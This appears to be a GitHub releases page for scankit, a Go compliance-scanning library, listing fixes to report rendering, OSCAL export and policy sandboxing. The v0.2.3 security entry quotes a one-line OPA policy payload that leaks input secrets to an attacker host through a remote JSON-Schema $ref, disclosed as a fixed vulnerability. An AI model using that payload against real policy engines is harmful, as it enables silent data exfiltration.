Repository navigation
Releases: stephrobert/scankit
Release list
v0.3.5
Fixed
- One subject with several causes rendered as several deviations. Different
deny
blocks of one rule can conclude on the same subject by different routes — a canned
ACL, a grant, a bucket policy. Each cause is real, so none is a false positive; but a
public bucket is one problem, and printing it three times makes the report look
bigger than what it measures. Noise costs confidence what a false positive costs. The
block now prints one line per subject with its causes listed beneath, and the
aggregation is of the display only: the block's count, the parsable formats and
the severity tally still carry every cause separately, so someone who fixes the ACL
and leaves the policy still sees the second one. - The "immediate action" panel showed the same deviation three times. It announces
the three most severe deviations, and a subject at fault by three routes took all
three slots. It now deduplicates by (code, subject) before ranking, so it shows what
it promises.
v0.3.4
Fixed
- A terminal block printed one control's title and remediation over another
control's findings. Findings were grouped byCodealone, while a block prints a
code, a title and a remediation and then lists findings underneath — so it asserts
those three of every finding it gathers. As soon as two controls shared a code (a
normative requirement often covers several), the title and remediation were those of
the FIRST finding, and the others sat under a heading that does not describe them,
above a remediation that does not fix them. The remediation is the line a reader acts
on: measured on a real tenant, it told them to revoke a root key in order to fix a
Resource="*"grant. The grouping key is now exactly what the block asserts — code,
title and remediation — so findings that do not share all three do not share a block.
A single control under a code renders exactly as before, and the controls table stops
summingSevand#across different controls on one row.
v0.3.3
Added
-
Options.Inconclusive: an empty finding list stops rendering as an all-clear when
nothing was inspected. "Nothing found" and "nothing looked at" rendered identically
— a green tick, "No deviations found in the audited scope", and four severity counters
at zero. Three signals literally true and collectively misleading, often printed
directly above a verdict saying the opposite.The failure mode is human, not machine: automation reads the exit code and behaves
correctly; it is the person skimming a terminal, or the screenshot pasted into a
ticket, who sees a tick and a row of zeros. With the flag set, the marker is neutral,
the line names the cause (Labels.NothingMeasured, translatable like the rest), and
the counters are omitted.The concept is not one product's: every scanner distinguishes "found nothing" from
"inspected nothing". The default stays false, so a consumer that does not ask the
question sees no change.
v0.3.2
Added
-
report.Options.Labels: the terminal report's scaffolding is translatable.
Section titles, table headers and the "no deviations" line were hard-coded English,
so a consumer able to translate the CONTENT still produced a half-translated
report — which reads as unfinished work rather than a choice, and undercuts the
content. Every field defaults to its English label when empty, so a consumer that
does not set it sees no change at all.The labels are passed IN rather than held in a catalogue here: scankit has no
business knowing its consumers' languages, and a shared catalogue would force them
to agree on a vocabulary. The product knows what language it speaks; the renderer
does not.
v0.3.1
Fixed
Evidence.proveswas emitted as["","",""]on every result.omitemptyon a
fixed-size array is, and always was, a no-op:encoding/jsonapplies it to nil
slices and maps, zero numbers, empty strings, false and nil pointers, never to an
array. A zero[3]stringtherefore serialised as three blanks in the JSON output,
in sealed evidence bundles, and in anything built on top of them — so a consumer
could not tell "no proof was recorded" from "three proofs were recorded and all are
blank". The two mean very different things for a model whose contract is that a
status is backed by what was actually observed.Evidencenow marshals through its
own method, which omits the field when nothing was recorded. The type is
unchanged: the three positions ARE the meaning (report.provesDimensionsindexes
them by name), a scanner filling only the first stays distinguishable from one
filling none, and no caller writingProves: [3]string{…}breaks.
v0.3.0
Added
-
report.OSCALnow carriesResult.LabelsandEvidence.Proves. Both are filled by the
consuming product (pavois populatesdomain,remediation_class,ssg, the per-standard
level, and its running / persistent / reboot-survivable triple) and both were silently
dropped by the export, so an auditor reading the OSCAL document could not tell a control
proven at runtime from one proven only in a config file.Labels become one namespaced prop per label on the observation, with the label key in
class— not inname, so a product label can never shadowstatus,severityor
observed— sorted by key to keep the document byte-reproducible.Provesbecomes a
relevant-evidenceentry: a sentence stating what a pass establishes plus one prop per
dimension (proves-running,proves-persistent,proves-reboot-survivable). Additive
only: every prop emitted before is emitted unchanged.
Fixed
- The OSCAL export could emit a document that fails schema validation, on data a product
legitimately supplies: OSCAL requires propname/classto be XML NCNames and values to be
non-empty and single-line. A framework id such ascis v8 !, or an observed value
containing a newline, produced an invalid document. Verified against the NIST 1.1.2 schema
withcheck-jsonschema: the previous renderer failed on three counts for such an
assessment, this one validates. Names and keys are coerced to NCNames, values folded onto
one line, and a prop with nothing usable left is dropped rather than published.
v0.2.3
Security
-
The 0.2.2 network denial was bypassable through JSON-Schema
$ref. Removinghttp.send,
net.lookup_ip_addrandopa.runtimefrom the capability set did not close the hole it
claimed to: OPA resolves a schema's remote$refover HTTP at evaluation time, so a
runtime-loaded policy could still exfiltrate the evaluated input with one line:json.match_schema(input, {"$ref": sprintf("%s/leak/%s", [attacker, input.secret])})
Measured on 0.2.2 with a witness server: one request per builtin, path
/leak/EXFIL-TOKEN,
andEvaluatereturned no error — the exfiltration was silent.json.verify_schema
behaves the same way.The capability set now carries
AllowNet: []string{}(an empty, non-nil list denies every
host; thenildefault means "any host"). That field is only honoured by the schema loader
at evaluation time from OPA 1.20, which is why the bump below ships with the fix rather than
after it.TestSchemaRefsCannotReachTheNetworkcounts requests received rather than errors returned,
because there is no error to assert on: it fails on the previous code with the witness
recording/leak/EXFIL-TOKEN, and passes here with zero requests. No functionality is lost —
a posture rule decides from the input it is given;TestOrdinaryBuiltinsStillWorkand the
existing engine suite stay green.
Changed
- OPA 1.18.2 → 1.20.2 (required by the fix above; also brings
strings.split_n). golang.org/x/cryptoforced to 0.56.0, clearing CVE-2026-56854 (SSH source-address
restriction bypass) and CVE-2026-78662 / CVE-2026-56855 (SSH channel denial of service).
scankit does not importx/crypto/ssh, sogovulncheckreported no reachable call and no
Dependabot alert was possible (the advisories carry no package mapping in GitHub's database);
the bump is what turns OSV-Scanner, Trivy and the Scorecard vulnerabilities check green again,
and it removes the transitive exposure from every consumer.
v0.2.2
v0.2.2 — policies no longer get network access engine.Evaluate compiled policies with OPA's default capabilities, which include http.send, net.lookup_ip_addr and opa.runtime. Policies are third-party code loaded at runtime, so a short rule could exfiltrate the evaluated input or reach the runner's internal network from inside the scanner. Those builtins are removed from the capability set. No functionality lost: verified against both consumers' rule sets. Behaviour change: a policy calling one of them now fails to compile.
v0.2.1
scankit v0.2.1 — schema-valid OSCAL 1.1.2 assessment-results
v0.2.0
scankit v0.2.0 — opposable assessment model + OSCAL assessment-results